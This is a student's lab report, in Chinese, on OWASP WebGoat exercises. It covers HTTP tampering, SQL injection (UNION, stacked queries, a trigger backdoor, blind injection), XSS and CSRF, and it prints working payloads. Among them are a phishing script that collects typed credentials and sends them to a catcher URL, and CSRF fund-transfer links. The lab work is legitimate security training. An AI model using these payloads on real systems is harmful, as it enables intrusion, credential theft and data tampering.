exp9 Web安全基础
0x0 环境说明
终于来到Web安全这一方向了,这也是课程的最后一次实验。
我还只是个Web安全的小白,对这一领域不了解。我希望通过这次实验,学习Web安全中基本的漏洞点,以及基本的漏洞利用技巧,增加了解。
当然,基础知识一定要补齐,以后学习过程中应该缺啥补啥。
- 训练环境:OWASP WebGoat project 8.0
- 8.0版本的WebGoat更像是一个teaching platform,而不是hacking platform
- 暂时只完成教学部分,challenge部分的CTF需要有实力以后再去完成。
0x1 基本技能——HTTP和HTML基础
WebGoat 8.0教学的第一部分就是学习HTTP协议,已经设置HTTP代理,修改HTTP数据包。
当然啦,作为OWASP项目,使用的工具是OWASP ZAP这个开源扫描器。
首先设置HTTP代理服务器的端口
然后再浏览器中配置HTTP代理,这里我用的是firefox
一定要注意,把localhost和127.0.0.1
练习——修改HTTP数据包
WebGoat有一个修改过HTTP数据包的练习,要求是:
- 将方法设置为GET
- 添加头部字段'x-request-intercepted:true'
- 将输入值'changeMe'改为'Requests are tampered easily' (没有单引号)
点击ZAP的绿色小圆钮拦截请求,然后我们按要求修改、发送即可。
注意,将POST方法给为GET方法时,参数就不在HTTP数据包中了,而是变成了URL参数。
练习——绕过2FA(双因素认证)
WebGoat中提供了这样一个练习,我们要重置password,需要回答密保问题。
但是我们不知道要问题的答案,我们通过ZAP修改HTTP请求包欺骗系统,从而重置password
随便在表单中输入数据,然后用ZAP把HTTP请求截获下来。
一开始我无论怎么修改,都没办法通过验证。后来我在YouTube上看到了解决方法
把secQuestion0该为secQuestion00,把secQuestion1改为secQuestion01,然后提交就可以了。
为啥这样就能成功呢?我到现在也没弄明白。
练习——不安全的登录(Insecure Login)
webgoat中的这个教程是告诉我们传输未加密的敏感信息是非常危险的。
练习题的要求就是嗅探提交数据,得到用户名和password。
我们用ZAP直接查看HTTP请求包就可以发现username和password了。
提交上面的数据就完成了这个练习。
练习——客户端缺陷(Client side filtering)
这个练习告诉我们向客户端发送过多的信息会导致严重的 访问控制问题
我们在这个练习中的目标是获取更高权限才能获得的信息。
该练习的要求是拿到CEO的薪水信息,CEO的名字是Nevile Bartholomew。
以我的权限是无法在页面看到CEO的信息的。
但是HTML源码却泄露了CEO的信息。
我们轻松拿到了该练习的答案——CEO的薪水为450000
这道题还是相当简单的。
练习——绕过前端限制(Bypass front-end restrictions)
用户能够轻易的控制前端,比如修改HTML或者脚本,因此这就是为什么服务端要验证Web应用的输入。
WebGoat中的一个练习就要求我们绕过表单的限制。
我们要做的
- select下拉列表应该选择全部的两个选项
- 单选框radio要两个选项都选择到
- checkbox复选框两种状态都要有
- 绕过输入表单长度限制
既然有ZAP在手,直接修改HTTP请求即可
通过HTTP代理修改请求包后再发送,我们成功完成这个练习
练习——HTML篡改(HTML tampering)
WebGoat给出的另一个练习是这样的:
我们的目标是以尽量低的价格购买电视机。
这道题主要是展示客户端的不可信的。我们直接查看HTML源码,看看这个表单是啥样子的。
我们发现了一个隐藏域,看起来服务器是接收这个隐藏域来确定价格的(真是太乱来了……)
随便修改这个隐藏域中的数字,干脆弄成“0”吧。ZAP中也看到了这个HTTP请求。
不错,简单修改HTML就完成了这个练习的要求。
其实直接用ZAP的代理修改HTTP请求包就可以了,这和直接篡改HTML是一个效果。
小结
WebGoat给出了这么多Client Side的练习,就是要告诉我们一个道理永远不要信任客户端的输入,基本用JavaScript对数据进行筛选,我们也可以直接修改HTTP请求包。
服务器端对接收到的数据一定要再次确认和筛选。比如刚才的“买电视”,服务器一定要再次从自己的数据库里查一下电视机的单价,再做一次运算和用户数据进行比对。
前端浏览器的HTML是极易被篡改的,HTTP请求也是可以被修改的,Web前端的世界是非常脆弱的 。
0x2 课程1——注入漏洞(Injection Flaws)
这部分教学有四项内容,SQL Injection、SQL Injection(advanced)、SQL Injection(mitigations)、XXE
0x31 SQL injection(已完成两个练习)
先是基本的SQL注入教学,webgoat会介绍string SQL injection(字符串型的SQL注入)和numberirc SQL Injection(数字型SQL注入)
一个成功的SQL注入可以:
- 读取和修改数据库中的敏感数据
- 执行数据库管理员操作
- 关闭审计或DBMS
- 截获表格和日志
- 添加用户
- 恢复DBMS文件系统中给定文件的内容
- 列出操作系统的指令
SQL注入举例
可能的字符串型注入有:
"select * from users where name ='" + userName + "'";
可能的字符型注入有:
"select * from users where employee_id = " + userID;
攻击者可以提供的输入有
- userName = Smith' or '1' = '1
- userName = ' or 1=1 --
- userID = 1234567 or 1=1
- UserName = Smith'; drop tables users; truncate audit_log
Web应用程序会执行
- select * from users where name='Smith' or '1'='1'
- select * from users where name='Smith' or TRUE
- select * from users where employee_id = 1234567 or 1=1
这样,所有的记录会从数据库中返回
练习1——String SQL Injection
直接使用webgoat教程中给出的技巧即可。
练习2——numberic SQL Injection
使用数字型SQL注入的技巧即可。
0x22 SQL Injection(advanced)——进阶SQL注入(共两个练习,完成一个)
接着我们探索更高级的SQL注入话题。我们在这里需要了解
- 组合SQL注入技术(Combining SQL Injection Techniques)
- SQL盲注(Blind SQL Injection)
虽然Webgoat中说这些技巧是advanced,但放到现在,也只是基本技术。
你需要知道的特殊字符和特殊语句
Webgoat给出了特殊的字符
/* */ 是内联注释(inline comments)
--, # 是行注销(line comments)
举例:Select * from users where name = 'admin' -- and pass = 'pass'
; 允许执行多个查询(query chaining)
举例:Select * from users; drop table users;
', +, || 允许字符串的
Char() 无引号的字符串
举例:Select * from users where name = '+char(27) or 1=1
不过,不同的数据库也细微的差别。
一些特殊的语句在SQL注入中也起到关键的作用:
- union可以重叠数据库的表格,'select id, text from news union all select name, pass from users'
- joins可以连接到其他的表
练习1——尝试从其他表格中获取数据
Webgoat在这一部分的第一个练习,目的是找到Dave用户的password。
由于要用到union查询,我们必须知道select语句选择的列数。
我看别人的博客,好像是要用 order by排序来判断列数的。
其实在这里可以直接输入' or 1=1 --
把表格全部脱出来的,很容易就知道列数了
dave不在这张表格里,需要用union语句把user_data_system表格显示出来
我们构造的字符串是
' union null, username, password, null, null, null, null from user_data_system --
发现了!!dave的password就是dave。
但不知道为什么,完成后WebGoat没有点亮这个图标。可能是输入的攻击字符串不是标准答案吧。
事实上,这个SQL注入点非常脆弱,只要输入
'; select * from user_daa_system; --
同样可以达到相同的效果。
未完成的练习
接下来的题目我还没有做出来,不过作为一个Web萌新,这是正常的。
这是一道需要综合SQL注入技术的题目,可能还需要结合SQL盲注,等我研究一下,后面再攻克这个题目。
0x23 SQL Injection(mitigations)——SQL注入的缓解与防御
这一部分介绍了SQL注入的缓解措施。
比如:不可变的查询语句、静态查询语句、参数化语句、存储过程等。
而且给出了许多例子,有兴趣的同学自己在WebGoat 8.0上浏览即可。
webgoat在这一部分只有一道习题。
这里WebGoat给出的提示是通过order by,找到webgoat-prd服务器的IP地址。
而且这里的表单并不是一个脆弱的SQL注入点。
YouTube上的一个视频展示了这道题的做法,这道题应该是截获HTTP响应包,然后进行修改。
????我没有明白这道题在这一模块的作用是啥。因为只要输入表单上存在的IP地址,WebGoat都会提示你通过了。
现在我们看到表单中出现了webgoat-prd了。
暂时就当这道题是这么做的吧,虽然和SQL注入技巧关系不大,不过好歹也学会了修改HTTP响应中的JSON数据了。
我们在实践中,应该注意最小权限原则,尤其是要在数据库连接池中注意读写权限的分配。
小结
在注入漏洞(Injection Flaws)这一教学模块中,我有一道综合的SQL注入练习没有完成。
由于我对XML不是很了解(虽然在java web课程中接触过),没有完成XXE部分的教学练习。
如果我想成为一个技术大牛的话,这些技巧必须要掌握的。
但由于咱们只是玩票的性质,暂时放一放吧。
0x3 课程2——XSS
XSS的可以分为三类:反射型、存储型、基于DOM的XSS。
第一个练习
第一个练习是获取当前页面的cookie,这里需要用chrome或者firefox浏览器
新开一个标签页,并在地址栏输入一下内容
javascript:alert("XSS Test");
javascript:alert(document.cookie);
然后比较两个标签页的cookie是否一致。
我们可以发现,这两个标签页的cookie都是JSESSIONID=D0913650405F1FEBC6B4457F52193892
练习2——一个反射型XSS
在服务器端检查用户的所有输入是一个好的实践。反射型XSS中,攻击者让用户“点击”带有攻击脚本的恶意URL。
在这个练习中,要求我们的攻击载荷包含<script>alert('my javascript here')</script>
我们的任务是找到一个哪一个表单元素是可以执行XSS。
随便选一个输入框输入攻击载荷,在按下UpdateCart
按钮
WebGoat给出了通过的提示,也就是说我们尝试的注入点是对的。
(虽然我做这个练习的时候感觉莫名其妙……这是啥效果???)
练习3——确认一个基于DOM的XSS
基于DOM的XSS是另一种形式的反射型XSS,它们都是通过链接触犯并在浏览器上作用的。不同的是,基于DOM的XSS不会跑的服务器上,它只会在客户端上执行,攻击者的恶意代码以本地账号的权限执行。
用户不会知道发生了攻击行为……恶意攻击者不会使用<script>alert('xss')</script>
这个练习里面,需要寻找一些“测试”代码(WebGoat使用backbone作为其主要的JavaScript库)。 有时候,测试代码会在生产中遗留下来(通常测试代码非常简单,缺乏安全性或任何质量控制!)。
你的目标是找到路径并利用它。这里需要找到测试代码的位置。
根据提示,我们要检查GoatRouter.js文件,通过firefox浏览器的开发者工具就可以查看。
我们很轻松的发现,Backbone库中,测试代码的路径
然后填写答案,并提交
下一步应该是进行真正的基于DOM的XSS攻击。
未完成的练习
webgoat的XSS课程还有两个练习我没有完成。
一个就是尝试基于DOM的XSS攻击,通过URL执行webgoat.customjs.phoneHome(),然后会获取一个随机数,提交这个随机数后就完成了这个练习。
最后一个练习给出了一个场景,完成的目标和上一题一样。
我暂时还没解决这些问题,先放一放。
小结
即便做了XSS部分的三个教学练习,我对XSS还是一头雾水。
WebGoat 8.0 给出的提示和教学非常少,还得有一定的基础才能玩的开心呀。
0x4 课程3——CSRF
CSRF——跨站请求伪造,和会话劫持,点击劫持一样,是一种对网站的恶意利用,向网站发出不是用户本人但却被网站信任的请求。
CSRF有如下的特征:
- 它涉及依赖用户身份的网站
- 它利用该网站对身份的信任
- 它诱骗用户浏览器发送HTTP请求到目标站点
- 它涉及有副作用的HTTP请求
一个Web应用如果是根据受信和经过验证的用户输入来执行操作的话,它就可能面临CSRF的威胁。一个在本地浏览器通过cookie认证的用户很可能不知不觉的向网站发送HTTP请求,而且用户还不知道。
练习——Basic Get CSRF(基本的GET请求的CSRF)
WebGoat教程中给出了一个最简单的CSRF攻击。 例如,您会收到一封包含以下内容的电子邮件:
<a href="http://bank.com/transfer?account_number_from=123456789&account_number_to=987654321&amount=100000">查看我的图片!</a>
如果用户已经在bank.com的网站保持了登录状态,这个简单的GET请求将把钱从一个账户转移到另一个账户。 当然,在大多数情况下,网站可能有多个控件来批准请求。
接着,WebGoat给出了一个练习
我们需要从外部源触发下面的表单。然后HTTP响应中会包含一个“flag”
提交这个flag就可以了。
如果在外部触发,HTTP请求头部的referer字段就会是外部源的url,WebGoat是通过referer字段来判断本题是否达到要求的。
耍个小聪明,随便改一下referer这个HTTP头部信息,果然拿到了flag。
再提交一下,答案是正确的。
我的猜测没有错,果然是通过验证referer头部来判断的。
未完待续
我还没有仔细研究CSRF,这部分就先做一个练习吧。
(虽然这第一个练习我也是靠用代理作弊,改referer通过的,笑)
其他练习以后再说(或者这这辈子都不会做了)
WebGoat 8.0 学习总结
这次实验,我的Webgoat的画风和其他同学的有点不一样。
由于WebGoat 8.0是OWASP最新推出的练习项目,网上的资料还很少。
WebGoat 8.0更像是一个教学平台(teaching platform),而不是一个漏洞平台(hacking platform)
我的水平有限,暂时只能解决一些比较简单的题目,等啥时候成为一条Web老狗,应该能把WebGoat 8.0给刷通关吧。
不过,我在大学生涯里应该达不到这种高度了。
基础问题解答
(1)SQL注入攻击原理,如何防御
- 原理:向Web应用程序输入一段精心构造的SQL查询指令,攻击和利用不完善的输入验证机制,使得注入代码得以执行完成非预期的攻击操作。
- 防范:输入过滤、参数化sql语句或直接使用存储过程、提供更少的错误信息
(2)XXS攻击原理,如何防御
- 原理:由于Web应用程序的输入验证机制不完善,攻击者在服务器端网页中插入一些恶意的客户端代码,在Web服务器上产生出一些恶意攻击页面。
- 防范:输入验证、输出净化(对HTML标签进行转义)、消除危险输入点。提升客户端浏览器安全性。
(3)CSRF攻击原理,如何防御
- 原理:攻击者盗用用户身份,伪造恶意请求发送给服务器,完成预期操作。
- 防御:通过referer、表单令牌token或验证码来检测用户提交、避免全站通用的cookie,严格设置cookie的域、不用在页面链接中暴露用户隐私信息。
实验新得与体会
课程结束了,而技术之路是没有止境的。
我在这门课程中玩了后门和木马、用了各种工具、尝试了一些漏洞、在虚拟环境里面各种捣鼓,虽然连脚本小子都算不上,但也体会到了入侵带来的快感。
不过,就算工具玩得再花,扫描器用的再熟,技术依然是浮于表面的,缺乏深入研究的,离真正的“黑客”还差的很远。
人的精力是有限的,即便是专业人士,也只是在某些细分领域略有所得。
成为公务员之后,我应该没有机会接触这些技术了。
但是,足够耐心、乐于钻研、不断学习、勇于挑战、崇尚自由甚至略微叛逆的极客精神,是我得到的最大精神财富。
补充——WebGoat 7.1 练习
webgoat8.0太新了,网上资料比较少,我给出的题目都太简单了,不符合实验要求。
(webgoat题目难度跨度过大,虽然之前的铺垫式的练习能做,但后面比较关键的练习我就没能力做了)
这里,我还是老老实实通过webgoat 7.1学习一些技术,打打基础。
一些已经和Webgoat 8.0中解题思路和方法相似的练习就不写在这里了。
SQL注入——Database Backdoors
阶段一
在第一阶段,我们需要利用字符串型的SQL注入,执行多条SQL语句。我们的任务是将自己的ID为101的账号中的salary变得更高。
数据库的表名employee,各个字段userid,password,ssn,salary,email我们都是知道的。
直接输入攻击payload
101; update employee set salary=1000000 where userid=101;
阶段二
在这一阶段,我们需要使用SQL注入植入后门。Webgoat的教程是注入一个触发器,作为SQL后门。
触发器的语法是
CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid。
非常可惜,我们的数据库好像不支持触发器,所以什么都执行不了
SQL的盲注——Blind Numberic SQL Injection
Webgoat给出了一个布尔型SQL盲注的练习。我们需要根据页面的两个不同的状态,猜测cc_number的值是11112222333334444的账户。
能看到的状态只有两种:
- Invalid account number.
- Account number is valid.
构造payload为:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > [num] );
这里的num是猜测的数字,如果num过大,我们看到的状态就是Invalid account number
,如果num过小或者相等,就是Account number is valid
我们可以通过二分法找到临界值。
num的初始值我选择为5000
这个数字过大了,接着依次尝试2500,1250,1875,2186,2343,2421,2382,2363,2372,2368,2366,2365,2364,2363。
我们找到了零界点,我们可以确定最终答案就是2364了
如果能够写一个自动化的二分查找脚本就好了,可惜我不会
不过从这个练习里面我还是可以体会一些SQL盲注的技巧的。
SQL的盲注——Blind String SQL Injection
Webgoat的另一个SQL盲注的练习,就是字符串型SQL注入。这个练习的目的是找到表格中cc_number为4321432143214321的name字段。
我们需要猜测的是一个字符串,需要一个一个字符的进行猜测。
用到的SQL函数是SUBSTRING()(或者SUBSTR(),这和使用的数据库有关系)
SUBSTR(str, pos, len)表示在str中第pos个位置开始,选出len个字元。
我们可以构造这样的payload:
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), [pos], 1) < [char] );
其中,pos代表字符所在的位置,char是字母,依旧使用二分法试探每个位置的字符。
经过不断的尝试,我们找到了最终答案Jill
还是一样的问题,就是SQL盲注的自动化,我暂时还不会使用工具或脚本执行这些操作
XSS练习——Phishing with XSS
这个课程是展示如何通过XSS漏洞进行钓鱼攻击。
我们的目标是
- 插入一个需要凭证的HTML
- 增加一个JavaScript来收集这些凭证
- 将凭证POST至http://localhost:8080/WebGoat/catcher?PROPERTY=yes...
我们构造的payload如下(其实是从其他人的博客抄的):
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br><br>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
直接复制到表单中
然后出现了下面的表单:
最后得到这样的结果:
不得不吐槽,这个payload实在太过庞大了。
XSS练习——stored XSS概念验证
接着我们完成一个存储型XSS攻击的练习。
我们是使用Tom的账号在street字段执行一个存储型XSS攻击。验证Jerry受到此攻击的影响。
然后我们登录Jerry的账号
然后查看Tom Cat的账号信息。
我们这就验证了一个存储型XSS的效果。
XSS练习——Reflected XSS概念验证
这个练习展示了反射型XSS的效果。我们需要验证使用此恶意链接的另一个用户受此攻击影响。
登录账号larry,在searchStaff中输入<script>alert('Dangerous');</script>
然后,就会出现弹窗。这就是一个反射型的XSS
XSS练习——stored XSS Attacks
接下来我们模拟一个存储型的XSS攻击,创建一个可能让另一个用户加载不期望的页面的消息。
我们看到Message List中有刚才我们的消息链接,点击这个消息链接
我们的JavaScript代码执行了,这就是一个存储型的XSS。
当然,真实的XSS攻击中,攻击payload更加复杂,而且非常隐蔽。
CSRF练习——CSRF的概念验证
这个练习中,我们的目标是向新闻组发送一封email,该email包含一个image,其URL指向一个恶意请求,URL应该指向“attack”servlet,其带有课程“Screen”和“menu”参数,一个额外参数“"transferFunds”带有任意数字值诸如5000。
我们构造的payload是
<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=5000" width="1" height="1" />
我们把标题设为CSRF,提交后得到如下结果
我们点击这个链接,并且抓包修改一下参数,添加&transferFunds=5000
。
接着完成这个练习。